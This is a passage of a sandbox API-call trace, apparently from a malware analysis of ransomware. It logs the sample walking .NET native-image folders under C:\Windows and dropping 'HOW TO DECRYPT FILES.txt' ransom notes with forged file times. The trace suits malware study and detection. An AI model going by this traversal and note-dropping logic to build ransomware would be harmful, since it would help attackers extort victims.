ftLastAccessTime.dwLowDateTime=0x2375623c, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x2375623c, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="0dc049d2993f3d0e2651581533093e17", cAlternateFileName="0DC049~1")) returned 1 [0112.804] lstrcmpA (lpString1=".", lpString2="0dc049d2993f3d0e2651581533093e17") returned -1 [0112.804] lstrcmpA (lpString1="..", lpString2="0dc049d2993f3d0e2651581533093e17") returned -1 [0112.804] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Speech\\*.*") returned="*.*" [0112.804] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Speech\\", lpString2="0dc049d2993f3d0e2651581533093e17" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Speech\\0dc049d2993f3d0e2651581533093e17") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Speech\\0dc049d2993f3d0e2651581533093e17" [0112.804] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Speech\\0dc049d2993f3d0e2651581533093e17\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x237300dc, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x2375623c, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x2375623c, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.804] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.804] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x237300dc, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x2375623c, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x2375623c, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.804] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.804] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.804] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2364b89b, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x2364b89b, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x23697b5b, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x29a000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Speech.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0112.804] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.804] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Speech.ni.dll") returned -1 [0112.804] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Speech.ni.dll") returned -1 [0112.804] lstrcmpiA (lpString1="", lpString2="System.Speech.ni.dll") returned -1 [0112.805] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Speech\\0dc049d2993f3d0e2651581533093e17\\*.*") returned="*.*" [0112.805] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Speech\\0dc049d2993f3d0e2651581533093e17\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Speech\\0dc049d2993f3d0e2651581533093e17\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Speech\\0dc049d2993f3d0e2651581533093e17\\" [0112.805] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Speech\\0dc049d2993f3d0e2651581533093e17\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Speech\\0dc049d2993f3d0e2651581533093e17\\") returned="" [0112.805] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Speech\\0dc049d2993f3d0e2651581533093e17\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Speech\\0dc049d2993f3d0e2651581533093e17\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Speech\\0dc049d2993f3d0e2651581533093e17\\HOW TO DECRYPT FILES.txt" [0112.805] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Speech\\0dc049d2993f3d0e2651581533093e17\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.speech\\0dc049d2993f3d0e2651581533093e17\\how to decrypt files.txt")) returned 0xffffffff [0112.805] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Speech\\0dc049d2993f3d0e2651581533093e17\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.speech\\0dc049d2993f3d0e2651581533093e17\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.806] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.807] CloseHandle (hObject=0x90) returned 1 [0112.807] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Speech\\0dc049d2993f3d0e2651581533093e17\\", lpString2="System.Speech.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Speech\\0dc049d2993f3d0e2651581533093e17\\System.Speech.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Speech\\0dc049d2993f3d0e2651581533093e17\\System.Speech.ni.dll" [0112.807] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Speech\\0dc049d2993f3d0e2651581533093e17\\System.Speech.ni.dll", pszSpec="*.ems") returned 0 [0112.808] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2364b89b, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x2364b89b, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x23697b5b, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x29a000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Speech.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0112.808] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.808] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x237300dc, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x2375623c, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x2375623c, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="0dc049d2993f3d0e2651581533093e17", cAlternateFileName="0DC049~1")) returned 0 [0112.808] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0112.808] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9a585eb4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x9a5ac014, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x9a5ac014, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Transactions", cAlternateFileName="SYSTEM~1.TRA")) returned 1 [0112.808] lstrcmpA (lpString1=".", lpString2="System.Transactions") returned -1 [0112.808] lstrcmpA (lpString1="..", lpString2="System.Transactions") returned -1 [0112.808] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.808] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="System.Transactions" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Transactions") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Transactions" [0112.808] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Transactions\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9a585eb4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x9a5ac014, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x9a5ac014, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.809] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.809] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9a585eb4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x9a5ac014, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x9a5ac014, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.809] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.809] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.809] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9a5ac014, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x9a5ac014, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x9a5ac014, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="051655963f24f9ade08486084c570086", cAlternateFileName="051655~1")) returned 1 [0112.809] lstrcmpA (lpString1=".", lpString2="051655963f24f9ade08486084c570086") returned -1 [0112.809] lstrcmpA (lpString1="..", lpString2="051655963f24f9ade08486084c570086") returned -1 [0112.809] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Transactions\\*.*") returned="*.*" [0112.809] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Transactions\\", lpString2="051655963f24f9ade08486084c570086" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Transactions\\051655963f24f9ade08486084c570086") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Transactions\\051655963f24f9ade08486084c570086" [0112.809] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Transactions\\051655963f24f9ade08486084c570086\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9a5ac014, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x9a5ac014, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x9a5ac014, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.810] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.810] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9a5ac014, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x9a5ac014, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x9a5ac014, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.810] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.810] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.810] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a539bf4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x9a539bf4, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x9a55fd54, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xe1000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Transactions.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0112.810] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.810] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Transactions.ni.dll") returned -1 [0112.810] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Transactions.ni.dll") returned -1 [0112.810] lstrcmpiA (lpString1="", lpString2="System.Transactions.ni.dll") returned -1 [0112.810] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Transactions\\051655963f24f9ade08486084c570086\\*.*") returned="*.*" [0112.810] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Transactions\\051655963f24f9ade08486084c570086\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Transactions\\051655963f24f9ade08486084c570086\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Transactions\\051655963f24f9ade08486084c570086\\" [0112.810] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Transactions\\051655963f24f9ade08486084c570086\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Transactions\\051655963f24f9ade08486084c570086\\") returned="" [0112.810] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Transactions\\051655963f24f9ade08486084c570086\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Transactions\\051655963f24f9ade08486084c570086\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Transactions\\051655963f24f9ade08486084c570086\\HOW TO DECRYPT FILES.txt" [0112.811] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Transactions\\051655963f24f9ade08486084c570086\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.transactions\\051655963f24f9ade08486084c570086\\how to decrypt files.txt")) returned 0xffffffff [0112.811] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Transactions\\051655963f24f9ade08486084c570086\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.transactions\\051655963f24f9ade08486084c570086\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.813] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.813] CloseHandle (hObject=0x90) returned 1 [0112.813] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Transactions\\051655963f24f9ade08486084c570086\\", lpString2="System.Transactions.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Transactions\\051655963f24f9ade08486084c570086\\System.Transactions.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Transactions\\051655963f24f9ade08486084c570086\\System.Transactions.ni.dll" [0112.813] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Transactions\\051655963f24f9ade08486084c570086\\System.Transactions.ni.dll", pszSpec="*.ems") returned 0 [0112.813] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a539bf4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x9a539bf4, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x9a55fd54, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xe1000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Transactions.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0112.813] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.813] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9a5ac014, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x9a5ac014, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x9a5ac014, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="051655963f24f9ade08486084c570086", cAlternateFileName="051655~1")) returned 0 [0112.814] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0112.814] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa523fc52, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xa523fc52, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xa523fc52, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Web", cAlternateFileName="")) returned 1 [0112.814] lstrcmpA (lpString1=".", lpString2="System.Web") returned -1 [0112.814] lstrcmpA (lpString1="..", lpString2="System.Web") returned -1 [0112.814] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.814] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="System.Web" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web" [0112.814] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa523fc52, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xa523fc52, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xa523fc52, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.814] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.814] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa523fc52, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xa523fc52, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xa523fc52, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.814] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.814] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.814] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa523fc52, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xa523fc52, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xa523fc52, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ea5a0e7af3956d40caeffaab3bb8b753", cAlternateFileName="EA5A0E~1")) returned 1 [0112.814] lstrcmpA (lpString1=".", lpString2="ea5a0e7af3956d40caeffaab3bb8b753") returned -1 [0112.814] lstrcmpA (lpString1="..", lpString2="ea5a0e7af3956d40caeffaab3bb8b753") returned -1 [0112.814] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web\\*.*") returned="*.*" [0112.814] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web\\", lpString2="ea5a0e7af3956d40caeffaab3bb8b753" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web\\ea5a0e7af3956d40caeffaab3bb8b753") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web\\ea5a0e7af3956d40caeffaab3bb8b753" [0112.815] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web\\ea5a0e7af3956d40caeffaab3bb8b753\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa523fc52, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xa523fc52, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xa523fc52, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.815] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.815] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa523fc52, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xa523fc52, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xa523fc52, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.815] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.815] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.815] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e6188b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xa4e6188b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xa4fde64e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xe8b000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Web.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0112.815] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.815] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.ni.dll") returned -1 [0112.815] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.ni.dll") returned -1 [0112.815] lstrcmpiA (lpString1="", lpString2="System.Web.ni.dll") returned -1 [0112.815] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web\\ea5a0e7af3956d40caeffaab3bb8b753\\*.*") returned="*.*" [0112.815] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web\\ea5a0e7af3956d40caeffaab3bb8b753\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web\\ea5a0e7af3956d40caeffaab3bb8b753\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web\\ea5a0e7af3956d40caeffaab3bb8b753\\" [0112.815] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web\\ea5a0e7af3956d40caeffaab3bb8b753\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web\\ea5a0e7af3956d40caeffaab3bb8b753\\") returned="" [0112.815] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web\\ea5a0e7af3956d40caeffaab3bb8b753\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web\\ea5a0e7af3956d40caeffaab3bb8b753\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web\\ea5a0e7af3956d40caeffaab3bb8b753\\HOW TO DECRYPT FILES.txt" [0112.815] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web\\ea5a0e7af3956d40caeffaab3bb8b753\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.web\\ea5a0e7af3956d40caeffaab3bb8b753\\how to decrypt files.txt")) returned 0xffffffff [0112.815] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web\\ea5a0e7af3956d40caeffaab3bb8b753\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.web\\ea5a0e7af3956d40caeffaab3bb8b753\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.817] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.817] CloseHandle 